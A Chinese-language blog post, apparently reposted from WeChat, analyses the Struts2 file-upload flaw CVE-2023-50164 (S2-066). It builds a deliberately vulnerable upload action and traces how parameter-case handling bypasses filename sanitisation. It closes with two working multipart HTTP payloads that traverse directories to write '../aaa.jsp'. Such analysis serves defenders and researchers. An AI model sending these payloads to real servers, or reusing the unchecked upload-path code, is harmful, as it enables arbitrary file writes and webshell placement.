CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

admin 2023年12月13日23:05:33评论104 views字数 5497阅读18分19秒阅读模式

细腻的美好藏在生活的各处

Delicate beauty is hidden in every corner of life.

Struts2发布了新漏洞CVE-2023-50164,apache命名为S2-066。根据cwiki.apache.org(https://cwiki.apache.org/confluence/display/WW/S2-066)描述,该漏洞在文件上传的时候允许攻击者控制参数,进行目录穿越让文件落地到任何位置:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行在Github上找到近期的commit(https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163),发现对HttpParameters进行了修改,对参数大小写进行了控制,强制将参数都转换成了小写:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行在appendAll方法中添加了remove函数,get方法中添加了小写转换:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

依据发布的信息,得知S2-066漏洞相关信息如下:

  1. 漏洞和文件上传有关;
  2. 控制文件上传路径的参数进行目录穿越,例如../t0ngmystic.jsp;
  3. 漏洞成因和参数大小写有关;

环境搭建

由于Struts2的一个框架,先使用其搭建一个文件上传的功能,我使用的上传代码如下,Struts2相关配置就不赘述了,只要配置action和filter就能正常使用了,我使用的struts2.5.32:

package com.s2066;  
  
/**  
 * @Projectname: s2  
 * @Filename: UpLoad  
 * @Author: T0ngMystic  
 * @Data:2023/12/11 12:16  
 * @Description: unauthorized  
 */  
  
import java.io.File;  
import java.io.IOException;  
import org.apache.commons.io.FileUtils;  
import com.opensymphony.xwork2.ActionSupport;  
import org.apache.struts2.ServletActionContext;  
  
public class UpLoad extends ActionSupport {  
  
    private File file;  
    private String fileFileName;  
    private String fileContentType;  
  
    public File getFile() {  
        return file;  
    }  
  
    public void setFile(File file) {  
        this.file = file;  
    }  
  
    public String getFileFileName() {  
        return fileFileName;  
    }  
  
    public void setFileFileName(String fileFileName) {  
        this.fileFileName = fileFileName;  
    }  
  
    public String getFileContentType() {  
        return fileContentType;  
    }  
  
    public void setFileContentType(String fileContentType) {  
        this.fileContentType = fileContentType;  
    }  
  
    public String execute() {  
        try {  
            // 检查 fileFileName 是否为 null            if (fileFileName == null) {  
                System.out.println("File name is null.");  
                return ERROR;  
            }  
  
            // 指定文件上传的路径  
            String filePath = ServletActionContext.getServletContext().getRealPath("/")+"upload/"+ fileFileName;  
            // 复制文件到指定路径  
            FileUtils.copyFile(file, new File(filePath));  
  
  
            return SUCCESS;  
        } catch (IOException e) {  
            e.printStackTrace();  
            return ERROR;  
        }  
    }  
  
}

漏洞分析

既然是文件上传,可以目录穿越落地任何位置,那么就先试试常用的修改filename的值为“../12222.txt”:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

但是发现文件名../12222.txt变成了12222.txt,../被处理了:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

在我的UpLoad的代码中并没有处理文件名,根据Struts2的允许流程可知,应该是Struts2的拦截器进行处理了:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

由于我并没有添加任何拦截器,那么就是Struts2自带的拦截器进行处理了,在struts2拦截器中找到fileUpload和params两个和文件上传、参数有关的拦截器CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

可以看到在org.apache.struts2.interceptor.FileUploadInterceptor中获取了文件的fileParameterNamefileNamefile,并且可以看见fileName通过multiWrapper.getFileNames 获取后已经去掉了../:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

进行Debug详细查看下怎么回事,可以看到通过如下堆栈调用到了AbstractMultiPartRequest下的getCanonicalName,在getCanonicalName中识别并去除了斜杠符号/和转移符号\:

getCanonicalName:151, AbstractMultiPartRequest
getFileNames:249, JakartaMultiPartRequest
getFileNames:159, MultiPartRequestWrapper
intercept:280, FileUploadInterceptor
CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行
image.png

这里直接剔除了../,并且和大小写也没关系。继续跟进FileUploadInterceptor拦截器,后面通过ac.getParameters().appendAll(newParams) 将参数进行保存,而这里的appendAll就是本次commit修改的HttpParameters。开头提到本次的commit在remove中先将参数名都进行了小写处理,在appendAll开头添加上了remove:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

那么漏洞s2-066大小写应该就和这里有关了。这里保存了file,fileContentType,fileFileName三个参数,由于ContentType和FileName是拼接固定的,那么能够修改的就只有file了(也就是这里的inputName):CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

此时就算知道了大小写的位置但就算对file进行了大写也还是没用,../依然会在AbstractMultiPartRequest.getCanonicalName中去除掉 这里的ac.getParameters() 是从上下文中获取com.opensymphony.xwork2.ActionContext.parameters返回HttpParameters对象:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

通过分析 FileUploadInterceptor代码与堆栈,得知上下文content中的com.opensymphony.xwork2.ActionContext.parameters是在org.apache.struts2.diapatcher.Dispatcher下createContextMap方法创建的:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

通过Debug得知在org.apache.struts2.diapatcher.Dispatcher中创建上下文时,会将参数提取并保存在com.opensymphony.xwork2.ActionContext.parameters中:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

在完成参数获取后,会进入Struts2com.opensymphony.xwork2.interceptor.ParametersInterceptor拦截器,进行action的参数映射,可以看到在com.opensymphony.xwork2.interceptor.ParametersInterceptoracceptableParametersTreeMap,并且存在传入的a=a参数:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

在之后又通过OGNL调用action对用方法的set进行参数映射:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

Tips:acceptableParameters为TreeMap,而TreeMap是大写优先输出:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

到此,可以将原参数name=“file”修改成name=“File”,再添加一个小写的fileFileName,这样在调用set方法时,由于TreeMap在迭代时会先输出大写,这样再输出小写,就能对先前的大写set的参数进行覆盖:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

最终完成文件上传:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行虽然成功了,但是在OGNL中是区分大小写的啊,为何fileFileNameFileFileName都能够调用UpLoad中的setFileFileName方法。在不断的调试下断点看堆栈,代码运行从com.opensymphony.xwork2.interceptor.ParametersInterceptor--->newStack.setParameter(name, value.getObject()) 到UpLoad--->public void setFileFileName(String fileFileName) 调用过程中找到了OgnlRuntime下的capitalizeBeanPropertyName方法。在capitalizeBeanPropertyName方法中会提取propertyName的前两个字符进行判断,若首字母为小写,第二个字母为大写直接返回,不然都会将第一个字符转换成大写,进行返回,这样就都成了FileFileName。从而调用UpLoadsetFileFileName方法。:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

在将小写转换成大写后,作为baseName传入addIfAccessor方法,通过method.getName判断获取的方法名称是否以baseName结尾,并且还做了长度判断:CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

根据上述分析的内容可得出payload如下:

POST /upload.action?fileFileName=../aaa.jsp  HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=boundary_string
Content-Length: 146

--boundary_string
Content-Disposition: form-data; name="File"; filename="../12267822.txt"
Content-Type: text/plain

test1
--boundary_string--

也支持通过multipart/form-data提交fileFileName参数:

POST /upload.action  HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=boundary_string
Content-Length: 146

--boundary_string
Content-Disposition: form-data; name="File"; filename="../12267822.txt"
Content-Type: text/plain

test1
--boundary_string
Content-Disposition: form-data; name="fileFileName"
Content-Type: text/plain

../aaa.jsp
--boundary_string--

成功上传文件,并绕过FileUploadInterceptor的限制使用../穿越目录落地:

CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!

原文始发于微信公众号(T0ngMystic工作站):CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日23:05:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-50164(S2-066)-Struts2-文件上传逻辑缺陷任意命令执行https://cn-sec.com/archives/2295168.html

发表评论

匿名网友 填写信息